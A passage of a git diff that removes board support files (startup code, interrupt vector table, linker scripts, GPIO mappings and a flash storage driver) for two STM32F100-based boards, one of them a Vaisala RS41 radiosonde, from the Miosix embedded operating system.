(PWR->CSR & PWR_CSR_PVDO) ? false : true; -} - -// -// class NonVolatileStorage -// - -NonVolatileStorage& NonVolatileStorage::instance() -{ - static NonVolatileStorage singleton; - return singleton; -} - -bool NonVolatileStorage::erase() -{ - FastInterruptDisableLock dLock; - if(IRQunlock()==false) return false; - - while(FLASH->SR & FLASH_SR_BSY) ; - FLASH->CR |= FLASH_CR_PER; - FLASH->AR=baseAddress; - FLASH->CR |= FLASH_CR_STRT; - while(FLASH->SR & FLASH_SR_BSY) ; - FLASH->CR &= ~FLASH_CR_PER; - - FLASH->CR |= FLASH_CR_LOCK; - - for(int i=0;i(baseAddress+i)!=0xff) return false; - return true; -} - -bool NonVolatileStorage::program(const void* data, int size, int offset) -{ - if(size<=0 || offset<0) return false; - const char *ptr=reinterpret_cast(data); - size=min(size,capacity()-offset); - - FastInterruptDisableLock dLock; - if(IRQunlock()==false) return false; - - bool result=true; - for(int i=0;i(baseAddress+offset+i); - while(FLASH->SR & FLASH_SR_BSY) ; - FLASH->CR |= FLASH_CR_PG; - *target=val; - while(FLASH->SR & FLASH_SR_BSY) ; - FLASH->CR &= ~FLASH_CR_PG; - if(*target!=val) result=false; - } - - FLASH->CR |= FLASH_CR_LOCK; - return result; -} - -void NonVolatileStorage::read(void* data, int size) -{ - size=min(size,capacity()); - memcpy(data,reinterpret_cast(baseAddress),size); -} - -bool NonVolatileStorage::IRQunlock() -{ - if((FLASH->CR & FLASH_CR_LOCK)==0) return true; - FLASH->KEYR=0x45670123; - FLASH->KEYR=0xCDEF89AB; - if((FLASH->CR & FLASH_CR_LOCK)==0) return true; - return false; -} - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios, as well as AFIO, SPI1 - RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | - RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | - RCC_APB2ENR_AFIOEN; - RCC->APB1ENR |= RCC_APB1ENR_PWREN; - RCC_SYNC(); - - //All GPIOs default to input with pulldown - GPIOA->CRL=0x88888888; GPIOA->CRH=0x88888888; - GPIOB->CRL=0x88888888; GPIOB->CRH=0x88888888; - GPIOC->CRH=0x88888888; - GPIOD->CRL=0x88888888; - - redLed::mode(Mode::OUTPUT); - yellowLed::mode(Mode::OUTPUT); - ledOn(); - Rtc::instance(); //Starting the 32KHz oscillator takes time - ledOff(); - - configureLowVoltageDetect(); - - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - //Nothing to do -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - reboot(); //This board needs no shutdown support, so we reboot on shutdown -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100c8_microboard/interfaces-impl/hwmapping.h b/miosix/arch/cortexM3_stm32f1/stm32f100c8_microboard/interfaces-impl/hwmapping.h deleted file mode 100644 index cb518ed92..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100c8_microboard/interfaces-impl/hwmapping.h +++ /dev/null @@ -1,52 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2017 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -#include "interfaces/gpio.h" - -namespace miosix { - -typedef Gpio redLed; -typedef Gpio yellowLed; - -namespace expansion { -typedef Gpio io0; -typedef Gpio io1; -typedef Gpio io2; -typedef Gpio io3; -typedef Gpio io4; -typedef Gpio io5; -typedef Gpio io6; -typedef Gpio io7; -typedef Gpio io8; -typedef Gpio io9; -typedef Gpio io10; -typedef Gpio io11; -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100c8_microboard/stm32_63k+8k_rom.ld b/miosix/arch/cortexM3_stm32f1/stm32f100c8_microboard/stm32_63k+8k_rom.ld deleted file mode 100644 index fbc362d41..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100c8_microboard/stm32_63k+8k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (63K FLASH, 8K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 8KB microcontrollers */ -_heap_end = 0x20002000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 63K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 8K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100c8_vaisala_rs41/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f1/stm32f100c8_vaisala_rs41/core/stage_1_boot.cpp deleted file mode 100644 index e6bdc9cab..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100c8_vaisala_rs41/core/stage_1_boot.cpp +++ /dev/null @@ -1,281 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32 medium density value line devices ONLY (64 and 128KB devices). - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMPER_IRQHandler(); -void __attribute__((weak)) RTC_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_IRQHandler(); -void __attribute__((weak)) DMA1_Channel3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel5_IRQHandler(); -void __attribute__((weak)) DMA1_Channel6_IRQHandler(); -void __attribute__((weak)) DMA1_Channel7_IRQHandler(); -void __attribute__((weak)) ADC1_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM15_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM16_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM17_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) CEC_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMPER_IRQHandler, - RTC_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Channel1_IRQHandler, - DMA1_Channel2_IRQHandler, - DMA1_Channel3_IRQHandler, - DMA1_Channel4_IRQHandler, - DMA1_Channel5_IRQHandler, - DMA1_Channel6_IRQHandler, - DMA1_Channel7_IRQHandler, - ADC1_IRQHandler, - 0, - 0, - 0, - 0, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM15_IRQHandler, - TIM1_UP_TIM16_IRQHandler, - TIM1_TRG_COM_TIM17_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - CEC_IRQHandler, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0, - reinterpret_cast(0xF108F85F) - /* @0x1E0. This is for boot in RAM mode for - STM32F10x Medium Value Line Density devices.*/ -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMPER_IRQHandler = Default_Handler -#pragma weak RTC_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_IRQHandler = Default_Handler -#pragma weak DMA1_Channel3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel5_IRQHandler = Default_Handler -#pragma weak DMA1_Channel6_IRQHandler = Default_Handler -#pragma weak DMA1_Channel7_IRQHandler = Default_Handler -#pragma weak ADC1_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM15_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM16_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM17_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak CEC_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100c8_vaisala_rs41/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f1/stm32f100c8_vaisala_rs41/interfaces-impl/bsp.cpp deleted file mode 100644 index 63d47f925..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100c8_vaisala_rs41/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,131 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2020 by Silvano Seva * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** - * bsp.cpp Part of the Miosix Embedded OS. - * Board support package, this file initializes hardware. - ************************************************************************/ - -#include -#include -#include "interfaces/bsp.h" -#include "interfaces/delays.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/stm32_rtc.h" -#include "board_settings.h" -#include "hwmapping.h" - -using namespace std; - -namespace miosix { - -// -// PVD driver -// - -static void configureLowVoltageDetect() -{ - PWR->CR |= PWR_CR_PVDE //Low voltage detect enabled - | PWR_CR_PLS_1 - | PWR_CR_PLS_0; //2.5V threshold -} - -bool lowVoltageCheck() -{ - return (PWR->CSR & PWR_CSR_PVDO) ? false : true; -} - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios and AFIO - RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | - RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | - RCC_APB2ENR_AFIOEN; - RCC->APB1ENR |= RCC_APB1ENR_PWREN; - RCC_SYNC(); - - //All GPIOs default to input with pulldown - GPIOA->CRL=0x88888888; GPIOA->CRH=0x88888888; - GPIOB->CRL=0x88888888; GPIOB->CRH=0x88888888; - GPIOC->CRH=0x88888888; - GPIOD->CRL=0x88888888; - - redLed::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - - configureLowVoltageDetect(); - - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - //Nothing to do -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - //Cut power to whole system - poweroff::mode(Mode::OUTPUT); - poweroff::high(); -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100c8_vaisala_rs41/interfaces-impl/hwmapping.h b/miosix/arch/cortexM3_stm32f1/stm32f100c8_vaisala_rs41/interfaces-impl/hwmapping.h deleted file mode 100644 index a4ef7233f..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100c8_vaisala_rs41/interfaces-impl/hwmapping.h +++ /dev/null @@ -1,87 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2020 by Silvano Seva * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -#include "interfaces/gpio.h" - -namespace miosix { - -typedef Gpio vbat; -typedef Gpio pushbutton; -typedef Gpio poweroff; - -typedef Gpio greenLed; -typedef Gpio redLed; - -namespace frontend -{ - typedef Gpio meas_out; - typedef Gpio pullup_hygro; - typedef Gpio spst2_2; - typedef Gpio frontend_unk_1; - typedef Gpio heat_hum_1; - - typedef Gpio frontend_unk_2; - typedef Gpio spdt1_2; - typedef Gpio spdt2_2; - typedef Gpio spdt3_2; - typedef Gpio spst1_2; - typedef Gpio heat_hum_2; - - typedef Gpio pullup_temp; - - typedef Gpio spst3_2; - typedef Gpio spst4_2; -} - -namespace nfc -{ - typedef Gpio in1; - typedef Gpio in2; - typedef Gpio out; -} - -namespace gps -{ - typedef Gpio rxd; - typedef Gpio txd; - typedef Gpio nReset; -} - -namespace spi -{ - typedef Gpio sclk; - typedef Gpio miso; - typedef Gpio mosi; - - typedef Gpio csBaro; - typedef Gpio csEeprom; - typedef Gpio csRadio; -}; - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100c8_vaisala_rs41/stm32_64k+8k_rom.ld b/miosix/arch/cortexM3_stm32f1/stm32f100c8_vaisala_rs41/stm32_64k+8k_rom.ld deleted file mode 100644 index b5c6be994..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100c8_vaisala_rs41/stm32_64k+8k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (64K FLASH, 8K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 8KB microcontrollers */ -_heap_end = 0x20002000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 64K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 8K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* 